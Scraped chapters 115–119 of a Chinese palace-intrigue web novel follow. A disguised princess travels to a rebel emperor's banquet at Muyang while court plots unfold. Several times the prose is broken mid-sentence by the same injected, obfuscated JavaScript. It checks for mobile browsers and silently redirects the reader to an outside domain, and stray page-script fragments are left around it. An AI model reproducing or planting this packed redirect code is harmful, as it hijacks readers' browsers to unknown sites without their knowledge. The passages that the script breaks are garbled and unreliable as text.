安文夕早就知道单凭这些花瓣不足以遮掩过去,就事先划破了自己的手腕。 那人眸色丨微沉,深深的锁着安文夕的手腕处的伤口,抿了抿唇没发一言。 映璃再次看着安文夕的眼神中多了抹赞叹,这份临危不乱的沉稳可不是每个人都能做得来的! “官爷,您若是还要检查,不如等小的穿好衣服?”安文夕小声道。 “嗤嗤,这里的小倌儿还怕看不成?” 为首的官兵冷目扫了过去,那人立即闭了嘴。 “走!” “大哥,不要检查了么?”那人惊道。 看着官兵走了出去,安文夕这才松了口气,一把扯过衣服,飞快的套在了身上。 官兵一走,欢凉立即一把将袭匀推下了床,脸色烧的通红。 “哎呦喂,你这臭丫头,想要**亲夫啊!”袭匀嚎道,果然袭匀刚才包扎的伤口处沁出了点点血红。 “滚,再瞎说打死你!” “还不好意思了,明明是我比较吃亏好不好。” 安文夕从屏风后面走了出来,拿出伤药,简单的处理了下伤口。 “公主,你的手……” “我没事,你们在宫中发生了何事,袭匀怎么受了伤?” “公主,玉玺被慕容清夺去了,欢凉无能。” “夏宫守卫森严,那慕容清也没有得到好处,他自己也受了重伤。”袭匀眸光一沉,“至于我的伤,是不小心遭了慕容清身边那个叫秋月的女人的暗算。” “不过,公主放心,慕容清不知道我们的身份,他们一直都以为我和袭匀是北宫喆的羽卫。 第115章 香韵公主 第一百一十五章香韵公主 “北宫喆一回宫我们就立即赶回了潇湘馆,只怕等北宫喆回去之后还有场恶战。”袭匀敛了眸光,“那玉玺落在谁手还尚不可知。” 安文夕眸光一沉,“不管怎样,今日一事之后,慕容清彻底和北宫喆摊了牌,只怕天下又要大乱了。” “公主,那李培一事?”欢凉担忧道,她害怕慕容清嫁祸到公主身上。 “明日你就知道了。”安文夕嘴角噙了丝意味深长的笑。 第二日一早,宫里面就传出了原北襄六王爷慕容清刺杀翰林院侍读李学士李培,偷盗玉玺一事。慕容清被逼至沐阳,十日后称帝,是为北襄兴帝。 这一行为遂在大夏掀起一阵轩然大波,众人都想不到的是早就在一年前北襄夺嫡之时死去的六王爷竟然没死,还堂而皇之的在大夏**夺玉玺! 因为慕容清的恶劣行径,即使称帝,也被众人骂做乱臣贼子。 大夏新皇大怒,立即派出了风明将军去沐阳征讨。 在元宵节那日,大夏出了命案,而在西楚却是另一番景象,世族月家嫡女十里红妆嫁于三皇子,场面宏大非凡。甚至有人传言,西楚文帝时日不多,想将皇位传于三皇子,而不是一直深受文帝喜爱的七皇子。只是这传言是真是假,却不可知。 安文夕轻轻勾唇,希望楚君昱可以得到自己的幸福,她永远给不了他平凡的幸福,如此便好。 算算时间,晟哥哥也差不多来到了承安了。 “公主,慕容清来信上说要让你和晟世子去一趟沐阳。” “沐阳?”安文夕眸光闪了闪,“估计晟哥哥今晚就会抵达承安,等晟哥哥来了再作打算。” “我猜那慕容清没安什么好心思,如今的沐阳可是双方交战之地。”袭匀斜斜的靠在美人靠上,慵懒极了。 “不是猜,他是一准儿的没安好心。”欢凉愤愤。 “只怕他是来找我秋后算账了。”安文夕勾唇。 “公主,既然你知道沐阳之行必是陷阱,那咱们不去不就行了。” 安文夕眸光深远,恐怕这件事由不得她。 “对了,晟哥哥就要来了,把该清的暗线都清了,别到时候被盯上了。” “欢凉明白。” “不可大意,北宫喆行事缜密,你将埋在凤青轩的暗线引到别处。” “公主放心,欢凉一定办好。” “不,这件事交给袭匀去办。”安文夕黑瞳骤缩。 袭匀立即从美人靠上走了起来,“小师妹为什么让我去啊,你师兄好歹还伤着呢。” “又不是娘娘腔,这点伤对你而言不算什么吧。” “你——”袭匀指着安文夕半晌道,“老子是纯爷们!” 临近日暮,一辆毫不显眼的油布马车从后门驶进了凤青轩,来人戴着一顶极大的帷帽,将脑袋遮挡的严严实实。他下了马车之后,又掀起车帘,小心翼翼的从马车里扶出一位女子来。 单看身形,那女子窈窕非常,尽管穿着男子宽大的衣衫却丝毫不能遮掩她的玲珑有致。女子微微偏头,宽大的帷帽稍微滑下,露出女子半边美的令人窒息的侧脸来。 “香儿,小心脚下。”男子声音极尽温柔。 女子柔若无骨的小手扯了扯帷帽,挽着男子的胳膊,随他一起进了院子。 男子带着身侧娇柔的女子轻车熟路的进了后院密室。 密室内,安文夕一袭火红的长袍,扮作平常凤公子的装扮,青妍绝丽,妖孽非常。花姑姑、欢凉和袭匀依次立在她的身侧。 “晟哥哥。”安文夕见到来人上前一步。 安景晟一把扯下头上的帷帽,嘴角勾笑,“夕儿。” 安文夕的视线从安景晟身上掠至他身侧的女子身上,有些不确定道:“难道这位就是香韵公主?” 安景晟微微点了点头。 她早就知道晟哥哥在南昭做了香韵公主的驸马,只是他每次的来信上对这方面几乎闭口不提,她也没有过问过,没想到这次他竟然将人直接带来了。 女子放下帷帽,露出一张绝艳的容颜来,饶是见惯美人的袭匀也不禁倒吸了口气。 “世子妃当真是绝色倾城!” 安景晟看了眼安文夕,然后对身侧的女子道:“香儿,这是我的妹妹,夕儿。” 华静香看着安文夕男子打扮,眼底飞快的掠过一抹惊讶,然后唇角微扬道:“夕儿,你好。”浑身高雅的气质带出来一股子高不可攀来。 高贵典雅,一种将人拒之千里之外的淡漠,这是安文夕对这个香韵公主所有的印象。 “这是花姑姑、欢凉、袭匀。”安景晟依次为她介绍,华静香听完略略颔首,算是打了招呼。 “晟哥哥,你们千里迢迢赶来承安,一定饿了吧,不如先用晚膳。” “就依夕儿。”安景晟温柔的揽住了身侧的女子。 “属下早已备下了酒菜为晟世子、世子妃接风洗尘,请随属下来这边。”花姑姑为安景晟引路道。 用过晚膳,安景晟安顿好了华静香,单独叫了安文夕到了密室。 “夕儿,这是我从南昭带来的茶,你尝尝合不合你的胃口。”安景晟为安文夕倒了杯清茶。 “在南昭,大多数人喜欢睡前喝一杯雪芽,既有利于睡眠,又能滋润嗓子。我知道你这丫头嘴巴向来很刁,只怕是一般的茶入不了你的口。” “我早就不这么挑嘴了,就是外面的茶末子也是喝得的。”安文夕浅笑。 安景晟神色一滞,看着眼前笑意浅浅女子心中一涩,“夕儿,你受苦了。” “晟哥哥不要这么说,我早就不是那养尊处优的公主了,这点苦又算得了什么。” 安景晟微叹一声,将茶递给安文夕道:“你尝尝如何,可能我泡的茶不如香儿。” 安文夕轻啜了口,嘴里顿时萦绕了淡雅的清香,她不禁赞道:“果然是好茶。” “对了晟哥哥,你怎么将香韵公主带来了,毕竟我们在大夏并不安全。” “她想来我生活过的地方看看,顺便来见见你。还有今晚的事情你也别介意,她对所有的人都是不瘟不火的态度,她刚才还跟我说她挺喜欢你的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安文夕见安景晟固执己见,叹了口气,也许等他吃过慕容清的亏,才会认清现实。 “既然如此,我们何时动身去沐阳?” “明日。” “这么急?你和香韵公主一路舟车劳顿,这还没有休息呢。” “无事,你不用担心我和香儿,让花姑姑安排一下,明日一早动身。” “那好吧,你早点休息。”安文夕看着安景晟道。 —— 此时,璀璨巍峨的琼华殿内,灯火如昼,温暖如春,北宫喆洗漱完毕,正准备上床休息,殿外传来一阵急迫的脚步声。 月清绝夹带着一脸风霜踏进了内殿,衣衫狼狈,显然是在寒风中奔波了一路,脸色凝重无比,看见身着明皇里衣的北宫喆,脸色骤然划过一抹赧色,随即沉声道:“千年龙魄丢了!” 正在脱靴子的北宫喆闻言手中的动作蓦地一顿,锐利的双眸朝月清绝射来。 月清绝顿时觉得温暖的琼华殿内瞬间涌进了一室冰雪。 第116章 不足为惧 第一百一十六章不足为惧 “何人做的?”声音中的冰冷几乎要将人冻僵。 “慕容清!” 北宫喆闻言脸上的寒意又盛了几分,“晚儿呢?” “此刻差不多已经到了左相府。” 北宫喆眸光轻垂,掀开明黄的锦被,正欲入寝,月清绝惊道:“你,你就这么睡了?”按着他的脾气,不是应该大发雷霆,然后将他臭骂一顿,说不好被他逼急了还会出手。反正不管怎样,都不该是这么平淡。 北宫喆凌厉的双眸看向他道:“不然呢?” “那千年龙魄……你,你不怪我?” “怪你有用么,就凭你不是慕容清的对手。” 月清绝脸上一黑,一把扯开北宫喆身上的被子道:“本公子奔波了一路了,我也要睡!” “滚!”北宫喆一脚将他踹下龙榻,冷声道,“这龙榻上除了朕,不睡别的男人!” 月清绝从地上起来,这才觉得心里好受很多,不指责他、不打他的北宫喆令人心里发毛。他突然发觉,自己是不是有病啊,上赶着找打! “让张海给你安排住处。” 月清绝正欲转身,身后传来北宫喆的声音道:“晚儿的身体如何了?” “已经调养的差不多了,本来都打算将千年龙魄移入体内了,却发现不见了。”月清绝那个悲愤。 “那她的身子还能坚持多久?”他已经答应了安莫霖两个月后归还引魂丹,若果到时追不回千年龙魄,就让晚儿继续沉睡吧。 “三个月,你还不知道吧,江向晚体内其他器官的过度消耗是由引魂丹引起的,这是老爷子最近才发现的,老爷子说这就是你私自盗取引魂丹的代价。” 北宫喆目光一沉,双眸中夹带着冰霜看向月清绝。 月清绝立即道:“如果有雪上冰莲的话,会好一些。” “雪上冰莲?” 月清绝点点头,“幽冥山上就有雪上冰莲,你打算何时去幽冥山?还有那七味草只有生长在三月雪和八月霜之上的效果才最好,现在时间不多了。” “朕打算过几日就出发。”只是如今那个女人不在身边罢了。 “过几日?那慕容清不是称帝了么,而且宫里也有一堆包袱,你抽得开身?” “呵……那慕容清不足为惧。” 月清绝看着眼前双眸泛着淡淡嘲意的北宫喆道:“你厉害,不早了,我先去休息了,明天谁都不许叫醒我!” 月清绝走后,青玄现身单膝跪地道:“皇上。” “你去让惊魂先去幽冥山去取雪上冰莲。” 青玄微微一愣,自从皇上向江小姐提了亲,惊魂就开始消沉,整日宿酒,精神低迷,这个时候皇上怎么会让他去? “他会去的。”北宫喆声音渐冷。 “是。”青玄身形一闪,消失在了琼华殿。 左相府。 一顶黑色的轿子翩然落下,从里面走出一位拥着狐裘的女子,葱白玉手掀开帘子缓缓下轿,一旁妇人打扮的女人忍不住上前一把抱住了女子,啜泣道:“晚儿啊,为娘想死你了。” “娘,女儿不孝,让爹娘操心了。”江向晚紧紧搂住了抱着她的妇人。 “哭什么呢,这不是回来了么?”江佑城劝道。 “爹。” “进去说。”江佑城又对一旁的妇人道,“别再哭了,女儿的喜色都被你哭没了!” 妇人脸色一僵,顿时收了泪水,拉着江向晚的手不舍得松开,生怕一松开她的女儿便会再次沉睡不醒。 进了内室,江佑城看着江向晚略显红润的脸色道:“那千年龙魄是不是已经植入了你的体内?” 江向晚摇了摇头,“那千年龙魄差一点就被植入我的身体,可惜被慕容清夺去了。” “什么?”江佑城顿时敛尽了眸光。 “千算万算还是忘了算慕容清。” “爹,女儿如今不过是靠着枫月谷的名贵药材吊着,那引魂丹在我体内有异,和我的器官相克,若是不能及时找回千年龙魄,只怕女儿……” 江佑城眉头紧锁,说道:“想必皇上已经知晓了此事,他一定会夺回千年龙魄,你也不要太担心……” “就算他能夺回千年龙魄,晚儿只怕等不了了。”女子声音媚色中带了份凌厉,由沧月扶着从暗影处缓缓走了过来。 “更何况,那慕容清也不好对付。” “太后娘娘?这么晚了,您……”江向晚惊道,然后看了眼身侧的江佑城。 “哀家来此和江大人有事相商。” “晚儿,想必来的路上你已经听说皇上千抬为聘江家女的事情了,这件事还是太后娘娘代皇上提的亲,你赶紧谢谢太后娘娘。” 江向晚看着面前妆容妖娆的的女子,福身道:“晚儿多谢太后娘娘提携。” 她果然兑现了她的诺言,立她为后! “还太后娘娘,如今该叫母后了。”曹暮烟亲切的拍了拍江向晚的手,示意她起身。 “太后娘娘,晚儿如今尚未……”江向晚脸上浮现一抹羞涩来,“礼不可废。” 曹暮烟微微笑了笑,对江佑城递了个眼神,然后风华万千的坐了下来,俨然将左相府当成了她的长乐宫。 “晚儿,爹还有事,你好好伺候太后娘娘。” 江向晚知道曹暮烟有话跟她说,特意支开了她爹。 “不知太后娘娘找晚儿何事?” “哀家就喜欢你这样直截了当的孩子。”曹暮烟扯了扯嘴角,半眯着凤眼瞧着手指上的镶玉指套。 “你说如今在这夏宫里,还有谁能越过去哀家?” “您如今贵为太后,身份尊贵非常,就是皇上也要尊敬您。” 曹暮烟闻言几不可见的点点头,“这个位子,只要你想,哀家也能给你。” 江向晚一怔,只见对面的女子笑意晏晏,直直的盯着她道:“只要你好好听哀家的话。” 江向晚眉心一跳,感觉自己跌进了一个巨大的漩涡一般。 突然,对面的女子慢慢靠近她,那双魅惑的凤眸如毒蛇一般死死地缠住她,红唇轻启,“不然,哀家就换人,相信想要坐到哀家这个位子上的人很多。” 这一句话,充满了威胁。江向晚咬着下唇,微微垂下了眼睑。 曹暮烟满意的看了眼江向晚,幽幽道:“你要知道,能帮你的,只有哀家。” 半晌,江向晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹太后狠狠的咬了下人二字,江向晚脸色顿时有些微白,福身道:“是,晚儿谨遵太后娘娘教诲。” 曹太后施施然起身,搭着沧月的手,慵懒万分的迈开了脚步,经过江向晚面前时,顿了顿脚步,对她道,“至于你的身体,哀家这里倒是有个办法可以帮你恢复,即使不用那千年龙魄也可以。” 江向晚霍然抬眸,“不知太后娘娘有何办法?” “哀家只怕你不肯,这个办法需要交付你的一半灵魂。” 看着江向晚眼底的惊色,曹暮烟勾起红唇,“只要你答应,不仅不必死,而且还会拥有强大的力量,那安文夕在你面前,就会变得不值一提。” 江向晚急急后退两步,此时的曹太后就像魔鬼一般循循诱惑着她,她知道这种方法必会极其妖邪。 “哀家也不逼你,但是哀家觉得你会动心的,因为咱们是一类人,不是么?”曹暮烟将江向晚逼至角落里,阴邪的双眸紧紧缩着她的眼睛。 “哀家相信你迟早会来找哀家的。”曹暮烟说完,任由沧月揽着,走了出去。 江向晚扶着墙壁,身子慢慢的滑了下去,脸色一片苍白。 第117章 赴鸿门宴 第一百一十七章赴鸿门宴 第二日一早,花姑姑就备好了马车,为了减小目标,安文夕和安景晟分作两路一起前往沐阳。 由于前几日出了慕容清刺杀一事,现在城门处守卫森严,安文夕和欢凉袭匀都戴着**,倒也检查不出什么端倪,轻松地出了城。 马车行了两日,便已经抵达了沐阳郊外,由于路上袭匀吃坏了肚子,耽搁了半日,所以没有按时赶到沐阳城内。 太阳西斜,初春的季节到了傍晚时分,寒意料峭。尤其是在荒无人烟的郊外,太阳落下之后,凛冽的北风席卷而来,泛起阵阵春寒。 欢凉捧着手炉,脸颊冻得通红,看着渐暗的天色,有些不悦的瞅了眼一旁袭匀,要不是他,她也不用冒着北风在这里赶车。 袭匀上吐下泻,被折腾了整整半日,脸色蜡黄,连说话的力气都没有了,只得迎着欢凉鄙夷的眼神无奈的阖上了眼睑。 “不好,我受不了,停车停车!”袭匀身形一闪,立即翻下了马车。 “你离远点,我怕臭!”欢凉立即勒住了缰绳,用手捏着鼻子。 过了半晌,袭匀拖着疲倦的身子上了马车,整个人都显出疲软来。 “怎么样?”安文夕一把将他拉近马车内。 “还能怎么样,拉得腿都软了。”袭匀有气无力道。 “那能怪谁,谁让你贪吃。”欢凉撇撇嘴。 “那能怪我么,明明是那家黑店,做菜不干净……” “喝点热茶,暖暖胃。”安文夕给袭匀递了杯水。 欢凉虽然一脸不悦,但还是将手里的手炉塞给袭匀,不情不愿道:“给你暖暖肚子,你赶紧进马车吧。” 袭匀啜了口茶,无力地靠在软榻上,半眯了眼睛。 “天就要黑了,难不成今晚我们宿在这荒郊野岭?”欢凉叹了口气,“就算晚上不被狼群叼走,也得被冻死不可。” 安文夕撩开车帘,对欢凉道:“先过去这片林子再说,也许前面会有人家。” 过了不久,欢凉看着袅袅的炊烟徐徐升起,心中一喜,立即撩开车帘,对安文夕道:“公主,有炊烟,那一定离庄子不远了。” 天色逐渐暗了下来,安文夕瞥了眼榻上的袭匀,对欢凉道:“加快速度。” 因为处在郊野,这里只是零散的分布了几户人家,马车行至最近的一处茅草屋前,欢凉勒住了缰绳,安文夕扶着袭匀下了马车。 “扣扣……”安文夕轻轻地扣着柴门,喊道,“这位大婶,由于我们想在此借宿一晚,不知可否方便。” 开门的妇人看了眼衣着光鲜的三人道:“这有什么不方便的,只怕你们嫌弃我们这房子又脏又破。” “怎么会呢,能有一处容身之所,我们已经感激不尽了。” “那你们赶紧进来吧,外面风太大。”妇人为他们引着路道。 因为那妇人的儿子儿媳回了娘家,所以就将他们的房间让给了安文夕他们,到了屋内,袭匀直接瘫软在了椅子上。 “这位公子,想必你们还没有吃饭,不如过来一起吃点东西吧。”妇人脸上挂着和蔼的笑。 “这位大婶,麻烦你给我点盐。” 那妇人虽然诧异,但还是笑盈盈道:“公子等着,我这就给你取来。” 安文夕为袭匀喂了点盐水,然后和欢凉搀着他一同去用膳。 安文夕扫了眼桌上的晚饭,简单的可以说是粗陋。 桌上一位老实巴交的大叔不好意思的笑了笑,“几位公子,你们别见怪,沐阳城内正在打仗,我们只好在附近挖些野菜,现在春天还未到,野菜比较少,所以就简单了点……” “大叔大婶,你们都太客气了。”欢凉说道,他们本就是打算在这里借宿一宿而已。 “大婶,此处离沐阳还有多远?” 妇人惊道:“几位公子要去沐阳?” 安文夕略略点头。 妇人立即劝道:“我劝几位公子还是不要去的好,如今沐阳城正在打仗,那北襄的兴帝正在征兵,我那儿子就是为了躲避征兵才和儿媳回了娘家。” “征兵?” “那兴帝手段残忍,但凡被征的新兵,没有一个能活着活来的。”大叔叹了口气。 “什么兴帝,那就是乱臣贼子!”妇人咬牙道。 “你小声点,瞎说什么呢!”一旁的大叔瞪了眼大婶。 乱臣贼子? 安文夕嘴角微微绽开了抹讥笑,“那大夏新帝不也是盗取他国江山的乱臣贼子么?” “这位公子,这种大逆不道的话可是要杀头的。”妇人小声道。 “夏皇以前是被一个什么瑾淑妃的妖姬给迷了心智才会荒淫,好在如今那瑾淑妃被赐**,现在的皇上倒是位好皇帝。” 那妇人点点头又补充道:“自皇上登基之后,轻摇薄疫,减轻了我们百姓的负担,是位好皇帝。” “呵……”他是位好皇帝?踩着别人尸骨上位的**也是好皇帝么? 袭匀稍稍恢复了些力气,听到大叔那句话,不禁嗤笑一声,传音入密对安文夕道:“小师妹,原来在百姓眼里,你就是那祸国妖姬……” 安文夕冰冷大哥眼风朝袭匀砸去,说道:“好好吃你的吧!” “若是你们执意要去沐阳的话,一定要多加小心,从这里到沐阳最多两个时辰。”妇人嘱咐了一句,然后舀了点稀粥,走进内室。 “里面还有人,怎么不说来一起吃饭?”袭匀问道。 “我爹常年患病卧床,不方便走动,尤其是这几日来连肢节都痛了起来,更加下不了床了。” “肢节痛?” “不禁肢节痛,头目也痛,喉咙干痛不止,只怕病情又加重了。”大叔叹了口气。 安文夕打量了眼这家徒四壁的茅草房,只怕是这户人家也没钱就医吧。而如今沐阳又起了战火,无疑是雪上加霜。 第二日天刚蒙蒙亮时,安文夕便已经出发了。 临走之前,她在桌上放了一锭银子,希望可以帮助这户人家解决燃眉之急。 袭匀身子稍好了一些,就被欢凉赶到外面赶车,他絮絮叨叨的说了一路,在临近午时之时,终于到了沐阳。 匆匆用过了午膳,就赶去了清月客栈和安景晟汇合。 “扣扣……” “晟哥哥。” “夕儿进来吧。” 安文夕推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392781|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门,看到香韵公主正在给安景晟上药,不禁惊道:“晟哥哥,你怎么了?” “没什么大事,不过是来的路上遇到了点小麻烦。” 小麻烦?能伤得了他的麻烦还会小么? “谁做的?” 安景晟眸光深沉,一边穿上衣服一边道:“还在查。” “夕儿,慕容清得知你我到了沐阳,特设了晚宴招待你我。” “晚宴,只怕是场鸿门宴吧。” “就算是鸿门宴也得去,你先休息休息,然后准备一下,到了申时一起出发。” “阿晟……”香韵公主担心的看了眼安景晟道,“此去凶多吉少,你受了内伤,我怕……” 安景晟握住她的手道:“香儿,不用担心我。” “晟哥哥,不如这样吧,你留在这里,我去。” “这怎么可以,万一让慕容清发现你的身份就糟了!”安景晟眸光一黯。 “晟哥哥,你有伤在身,万一被慕容清发觉了,事情才棘手,况且,慕容清他困不住我。” “阿晟,夕儿说的有道理,若是你们同去,万一被慕容清同时……” “晟哥哥,这件事就这么定了,我希望你谨慎考虑一下和慕容清结盟这件事。” 慕容清不易招惹,等他和北宫喆斗个你死我活,他们坐收渔利,难道不好么,为何非得去趟这趟浑水? 安文夕看了眼安景晟,然后垂下了眼睑,希望晟哥哥不要让她失望,她这句是对安景晟说,更是对她自己说。 “既然如此,欢凉和袭匀好好保护夕儿。” 袭匀在心里冷哼,这还用你说么? 到了房间之后,安文夕便开始收拾东西,仔细检查随身携带的物品。 欢凉看着她忙碌的身影,一时有些欲言又止。 袭匀慵懒的翘着二郎腿对欢凉道:“丫头,有话就说,别憋着。” 欢凉抿了抿唇道:“公主……” 安文夕手中的动作一顿,“欢凉,你若是想说晟哥哥的话,就不必说了。王叔那件事,永远是我对不起他,他想要的,我都会尽全力助他。” “公主,怎么是你对不起他呢,睿王病重,他在哪里?他在南昭舒舒服服的做他的驸马爷,而您却被北宫喆囚在宫里,不禁有后宫一众嫔妃要对付,还有江向晚,曹太后……” “够了,欢凉,晟哥哥不能及时赶到,他是有原因的。” “原因?公主,您告诉欢凉,晟世子能有什么原因?” “他……”安文夕一顿,竟然想不出具体的原由来。 “那时时机还不成熟,他若是来到大夏,会有风险,你明白么欢凉。” 欢凉蓦地笑了,“公主,欢凉明白,希望这个理由也能说服你自己。” 安文夕神情突然一滞,这个理由能说服她自己么? 可是,晟哥哥已经是她这个世上唯一的亲人了!前世她是孤儿,无比渴望能拥有一个家,有爸妈疼爱,可惜没有。这一世,她一出生便有了一切,她怎么能眼睁睁的看着她的亲人一个个离她而去? “欢凉,别说了,赶紧收拾一下,一会就要动身了。”袭匀看了眼欢凉站起了身子。 第118章 处处算计 第一百一十八章处处算计 慕容清在沐阳称帝之后,占沐阳为城,改为青华宫。短短十日之内,就在沐阳城外筑起了一道高三丈有余的城墙。 安文夕远远地看着那道高耸的城墙,微眯了杏目,行至跟前,才发现有人早早的等在了那里,看见她来,忙行了一礼道:“这位就是凤公子吧,属下在这里等候多时了,请随我来。”那人说着引着她向城内走去。 青华宫内,五步一楼,十步一阁,亭台水榭,风景精致不俗,这慕容清倒是选了块好地方。 “皇上,凤公子来了,只有他一人。” 慕容清抬眸,“哦,安景晟没来么?” 秋月微微点头。 “让他进来吧。” 安文夕一步步踏进巍峨的宫殿,迎着慕容清高傲的目光,不卑不亢的微微颔首,“在下参见皇……上。” 欢凉和袭匀也同她一起行礼道:“参见皇上。”虽然表面毕恭毕敬,但是二人在心里都不禁撇了撇嘴。 安文夕第一次觉得皇上二字拗口极了。 不管心中怎么想,但是在表面上,该有的礼仪却丝毫让人挑不出错来。 慕容清听着安文夕那句“皇上”觉得越发的顺耳,他应该早些称帝的! “秋月,为凤公子等人看座。”慕容清宽袖一摆,倒真有几分帝王的凌傲。 “据说晟世子回到了承安,这次也一同来了沐阳,为何今日只有凤公子一人来了呢?” “回皇上,晟哥哥再来的路上遇到了刺客,伤了我嫂嫂,如今晟哥哥抽不开身,所以就只有我一个人来了。不过,我来也是一样的。” “原来如此。”慕容清别有深意的看了眼安文夕,然后斜勾起了嘴角,“你们多多小心,这沐阳,如今可不太平!” “皇上,现在是否摆宴?”秋月立在慕容清身侧,恭敬问道。 “摆宴!” 慕容清话音一落,是几位侍女捧着宫廷菜肴鱼贯而入。 安文夕盯着桌案上的菜肴,白玉盘中佳肴泛着诱人的光泽,不禁菜肴皆是稀世难寻之物,就连那白玉盘都是选用了上好的白玉,而非白瓷,当真是奢侈无比,就是夏宫也及不上。 “凤公子一直盯着御膳,难道担心朕会下毒么?” “皇上说笑了。” 慕容清淡笑道:“知道凤公子前来,朕特意准备了一场歌舞助兴。” “啪啪——”随着慕容清的两声击掌,妙曼的舞姬扭动着迁徙的腰肢缓步踏进大殿,皆容貌姣好,眼神撩人,身材勾火,每走一步都媚到了骨子里。 大殿内的帷幔飘飘,灯火轻摇,青铜酒樽里的液体泛着迷离,这一幕,如幻如梦。 “世人皆传凤公子琴艺无双,而朕却从未听过,未免有些可惜了。” 慕容清话里的意思再明显不过,安文夕扫了眼殿内的舞姬,勾唇道:“这有何难,在下愿意为歌舞伴奏。” 取下七弦琴置于案上,素手拨起琴弦。 “凤公子这双手真是比女人还要细腻!”慕容清毫不忌讳的打量着安文夕放在琴弦上的手。 安文夕闻言心中顿时一惊,抬眸看向慕容清道:“若想弹好琴,首先要将这双手保养好。” “铮——”安文夕食指一挑,拨动了琴弦。 “起——”随着安文夕话音刚落,殿内的舞姬开始踩着琴音扭动了腰肢。 慕容清举着酒樽,摇晃着酒樽里的液体,目光在舞姬和安文夕之间流连,嘴角挂着丝玩味的笑。 这些舞姬身上本就穿着薄如蝉翼的轻纱,这会随着她们的旋转,玉腿纤腰欲遮还羞,大胆摄魂的眼神不禁让人血脉贲张。 欢凉有些不好意思的垂下了头,这些舞姬比凤青轩的姑娘们大胆多了! 慕容清眼尾微挑,有些舞姬大着胆子踱着舞步,慢慢靠近安文夕。 正在琴弦上游走的葱白玉手蓦地一滞,杏目瞬间清澈如泓,慕容清的意思很明了,他是想趁机送给她几个舞姬,这也未免太侮辱她了! 安文夕专心奏琴,不躲不避,这无疑是给这几个舞姬一个信号,她们的举止更加放肆了起来,甚至有的舞姬从安文夕身后绕至身前,藕臂紧紧攀上安文夕的肩膀,柔若无骨的小手往安文夕的胸前探去。 欢凉和袭匀皆是一惊,若是这舞姬的手再往前一点,小师妹的身份就暴露了! 欢凉不动声色的握紧了手中的剑,大不了就杀出去! 安文夕的瞥了眼慕容清嘴角的笑意,心顿时一沉,难道他发现了她的身份了,这几番试探? 安文夕指尖在琴弦上更快地拨动起来,琴声一声急过一声。 “啊!”下一瞬,攀在安文夕身上的舞女发出了一声凄厉的惨叫,整个人都被掀飞,重重的跌落在了慕容清的脚前。 慕容清嘴角的笑意顿时凝固,手中握着的酒樽不禁洒出了几滴液体。 安文夕这一行为无疑是狠狠的打了慕容清的脸,她从来就不是善茬,怪只怪慕容清太过狂妄,三番五次的挑衅! 袭匀嘴角微勾,传音入密对安文夕道:“小师妹,好样的,就应该直接甩到慕容清的脸上。” 安文夕淡淡的勾起了唇,四指齐齐划过琴弦,发出急切地带着苍劲之力的峥嵘之声。 秋月立即上前,探了探这个舞女的脉搏,沉声道:“心脉受损。” 围在安文夕身侧的其他舞女不由得退后几步,有些惊恐的看向安文夕,她们甚至都没有看见她如何出手,若是刚才是她们其中一个举止更为放荡一点,那么,此时躺在那里的岂不是…… 慕容清目光一沉,盛了淡淡冰霜,看向安文夕,厉声道:“不知凤公子这是何意?” “皇上,对不住了,在下弹琴时,素来不喜人靠近,故而在青楼楚馆之时,专门为我设置了琴阁高台。” 慕容清脸色一变,握着酒樽的手指变得卡白。 只听安文夕又道:“以前,但凡有人触碰到在下的衣角,皆被琴音所震,七孔流血而亡!” 安文夕话音刚落,慕容清手里的酒樽顿时被捏成了碎片,冷声道:“都给朕滚下去,在这里碍了凤公子的眼!” 剩下的舞女皆跌跌撞撞的步出了大殿,脸上惊恐一片,再也走不出刚进殿时的风情万种了。 安文夕不以为意的端起了青瓷盏,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那得看看皇上的诚意了,在下希望不要再出现元宵节那样的事了。”不要次次都想着拿别人当做垫脚石! 慕容清听完脸色丨微变,握着酒樽的手蓦地一顿,双眸内寒意渐盛。 “皇上,您说是不是?”安文夕笑意浅浅,却偏偏给人一种压迫之感。 “凤公子此言有理。”慕容清有些咬牙切齿道。 安文夕抽出擦了擦唇角,对慕容清道:“皇上,时辰不早了,我们就不打扰了。” 欢凉有些如释重负的和袭匀一左一右的立在安文夕身侧。 “且慢,如今天色已晚,朕早已经为各位准备好了房间,不如今晚就在这里休息。” “皇上的美意在下心领了,不敢叨扰,告辞。” 安文夕刚迈出了脚步,大殿门口的侍卫便揽住了安文夕的去路。 安文夕顿时拧眉,看向慕容清道:“不知皇上这是何意?” “朕念及凤公子初来沐阳,想多留凤公子几日。” 呵……他想软禁她不成? 第119章 起了心思 第一百一十九章起了心思 “皇上,沐阳一战,你我兴兵共同对付北宫喆一事,在下需和晟哥哥商议,您觉得呢?” 